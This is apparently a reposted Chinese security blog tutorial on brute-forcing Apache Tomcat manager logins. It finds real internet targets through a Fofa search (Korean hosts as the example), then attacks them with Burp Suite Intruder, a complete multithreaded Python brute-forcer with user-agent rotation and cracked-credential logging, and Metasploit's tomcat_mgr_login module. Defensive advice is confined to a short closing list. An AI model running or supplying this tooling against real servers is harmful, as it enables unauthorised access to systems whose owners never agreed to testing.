Tomcat安全系列之二:Tomcat密码暴力破解

admin 2024年3月5日07:52:04评论19 views字数 4076阅读13分35秒阅读模式

在 Tomcat 中,用于配置后台管理界面(如 Manager 或 Host Manager)访问密码的文件是 tomcat-users.xml。这个文件通常位于 Tomcat 的 conf 目录下。可以编辑 tomcat-users.xml 文件,添加类似以下内容的配置来指定用户和密码:

<tomcat-users>    <user username="admin" password="your_password" roles="manager-gui,admin-gui"/></tomcat-users>

在上述示例中,username 是用户名,password 是密码,roles 是指定该用户在后台管理界面拥有的角色权限。在前面的文章中介绍了如何利用掌握的后台账号直接部署jar包获取权限,在实际利用过程中,由于安全策略设置不当,密码设置简单等,可以通过密码暴力破解来进行攻击。下面对tomcat所有暴力破解的方式进行一次总结和梳理。

2.2.1 目标搜集及获取

1.搜索关键字

例如搜索韩国范围内存在的Apache Tomcat 则为:"Apache Tomcat" && country="KR",搜索效果如图1所示。

Tomcat安全系列之二:Tomcat密码暴力破解

图1 网上tomcat目标搜集

2.查看搜索记录

如果存在则在列表中进行查看。

3.尝试访问

Fofa等资产测绘系统收集的资产信息可能随着时间的变化有些可能已经不存在了,因此需要进行查看,如图2所示,表示可以访问。

Tomcat安全系列之二:Tomcat密码暴力破解

图2 测试url是否可用

4.访问后台登录地址

(1)后台地址不可用

在页面中单击“Host Manager”,如图3所示,表示该后台地址不可用。

Tomcat安全系列之二:Tomcat密码暴力破解

图3 禁用后台地址

(2)正常验证的后台地址模式

不同版本的tomcat后台界面还不一样,如图4所示,该界面是另外一种登录方式。

Tomcat安全系列之二:Tomcat密码暴力破解

图4 正常后台登陆模式

(3)base64验证的后台地址

如图5所示,表示该地址采用base64加密。Tomcat密码采用admin:admin格式,然后base64进行加密。

Tomcat安全系列之二:Tomcat密码暴力破解

图5 base64加密验证

2.2.2Burpsuite设置

1.设置系统代理模式抓包

设置系统代码模式,通过Burpsuite进行抓包,如图6所示,在Request中可以看到“Authorization: Basic YWRtaW46YWRtaW4=”。

Tomcat安全系列之二:Tomcat密码暴力破解

图6 抓包获取验证的历史记录

2.设置变量

如图7所示,选中base64加密的部分,通过“Add $”将验证部分设置为变量。

Tomcat安全系列之二:Tomcat密码暴力破解

图7设置变量

3.选中Payload类型

在Burpsuite中选择Custom iterator,分别对Position1、Position2及Position3进行设置。如图8、9、10所示。

Tomcat安全系列之二:Tomcat密码暴力破解

图8位置1设置暴力破解的用户名

Tomcat安全系列之二:Tomcat密码暴力破解

图9添加分隔符号



Tomcat安全系列之二:Tomcat密码暴力破解

图10设置位置3用户密码及Payload 处理及Url不编码

2.2.3密码暴力成功

Burpsuite设置成功后,单击“Start attack”执行暴力破解,如图11所示,第6条记录表示破解成功,Status状态200表示正常访问。

Tomcat安全系列之二:Tomcat密码暴力破解

图11 暴力破解成功

2.2.4通过python代码执行破解

1.程序代码文件

import base64

import random

import time

import requests

import concurrent.futures

          

# 随机生成user-agents

def random_user_agent():

    agent_file = open("user-agents.txt", encoding="utf-8")

    user_agents = agent_file.readlines()

    agent_file.close()

    return random.choice(user_agents).strip()

          

def brute_force(url):

    # 读取用户名字典和密码字典

    with open("user.txt", encoding="utf-8") as user_file, open("passwd.txt", encoding="utf-8") as passwd_file:

        users = [user.strip() for user in user_file.readlines()]    

        passwords = [passwd.strip() for passwd in passwd_file.readlines()]

          

    url = url.strip()

    url_login = "{}/manager/html".format(url)

          

    def try_login(user, passwd):

        bs64 = "{}:{}".format(user, passwd)

        bs64_encoded = base64.b64encode(bs64.encode('utf-8')).decode("utf-8")

        authorization_header = "Basic {}".format(bs64_encoded)

        headers = {

            "User-Agent": random_user_agent(),

            "Authorization": authorization_header

        }

          

        try:

            response = requests.get(url_login, headers=headers, timeout=(3, 7))

            time.sleep(1)  # 避免过多的请求

            if response.status_code == 200:

                print("+++++++++++++++++++++++++++++++++++++")

                print(f"成功登录:账号 {user},密码 {passwd}")

                print("+++++++++++++++++++++++++++++++++++++")

                with open("./bp_ok.txt", 'a+', encoding="utf-8") as f:

                    f.write(f"{url_login}n账号: {user} 密码: {passwd}n")

        except requests.exceptions.RequestException:

            pass

          

    print("开始爆破:", url_login)

    with concurrent.futures.ThreadPoolExecutor() as executor:

        # 并发执行尝试登录

        futures = [executor.submit(try_login, user, passwd) for user in users for passwd in passwords]

          

        # 处理并发任务的结果    

        for future in concurrent.futures.as_completed(futures):

            # 检查是否有异常,这里可根据实际情况进行适当的处理

            exception = future.exception()

            if exception is not None:

                print(f"请求发生异常: {exception}")

          

if __name__ == '__main__':

    with open("url.txt", encoding="utf-8") as url_file:

        urls = url_file.readlines()

          

    for url in urls:

        brute_force(url)

2.其他相关文件

需要在程序目录中配置以下文件,如图12所示。

(1)密码文件:passwd.txt

(2)用户名文件:user.txt

(3)url地址文件:url.txt

(4)user-agents文件:user-agents.txt

(5)密码破解成功后的文件bp_ok.txt

Tomcat安全系列之二:Tomcat密码暴力破解

图12 python破解程序文件

3.破解效果

第一个程序版本破解效率太低,优化后效率提升,执行效果如图13所示。

Tomcat安全系列之二:Tomcat密码暴力破解

图13 破解成功后效果

2.2.5 msf暴力破解tomcat密码

1.tomcat相关可用漏洞模块

在msfconsole中执行“Search tomcat”搜索tomcat漏洞相关模块,如图14所示。

Tomcat安全系列之二:Tomcat密码暴力破解

图14tomcat可用的漏洞模块

2.使用tomcat_mgr_login模块

use auxiliary/scanner/http/tomcat_mgr_login

3.设置tomcat_mgr_login模块

Set password tomcat

Set rhosts 192.168.19.134

Set username tomcat

Show options 命令查看配置情况

可以使用用户名及密码文件来进行破解。

4.执行暴力破解

运行run命令即可,如图15所示。

Tomcat安全系列之二:Tomcat密码暴力破解

图15 msf暴力破解tomcat

5.通过用户名及密码配置文件来暴力破解

(1)分别设置PASS_FILE及USER_FILE。

Set PASS_FILE /home/kali/passwd-2.txt

Set USER_FILE /home/kali/user.txt

(2)去掉其他的设置

需要去掉用户名及密码,最后设置完成后如图16所示。

Tomcat安全系列之二:Tomcat密码暴力破解

图16 配置用户及密码文件进行暴力破解

3.安全防御建议

(1)部署NIDS和NIPS来监控并阻止恶意的登录尝试。

(2)限制登录尝试频率:在应用程序中实施登录尝试次数限制,达到一定次数2后暂时锁定账户。

3)多因素认证:使用多因素认证(MFA),如短信验证码、硬件令牌或移动应用程序生成的验证码,以增加认证的安全性。

(4)身份验证日志监控:监控登录尝试,记录并分析异常的登录行为,及时发现潜在的暴力破解尝试。

(5)使用VPN:如果可能的话,将管理界面放置在内部网络并通过VPN访问,以便从外部网络进行访问时需要先连接VPN。

(6)IP黑名单:检测到恶意登录尝试的IP地址后,可以将这些IP地址列入黑名单,并临时禁止其访问服务器。

(7)Web应用程序防火墙(WAF):部署WAF可以帮助识别和阻止恶意的登录尝试。

(8)加密通信:确保所有与Tomcat管理界面的通信都是加密的,使用HTTPS协议。

以上措施可以帮助降低Tomcat密码暴力破解的风险,但需要注意,并非所有的攻击都可以完全防止。因此,建议综合考虑多种安全措施,以提高系统的整体安全性。

原文始发于微信公众号(小兵搞安全):Tomcat安全系列之二:Tomcat密码暴力破解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日07:52:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat安全系列之二:Tomcat密码暴力破解https://cn-sec.com/archives/2547134.html

发表评论

匿名网友 填写信息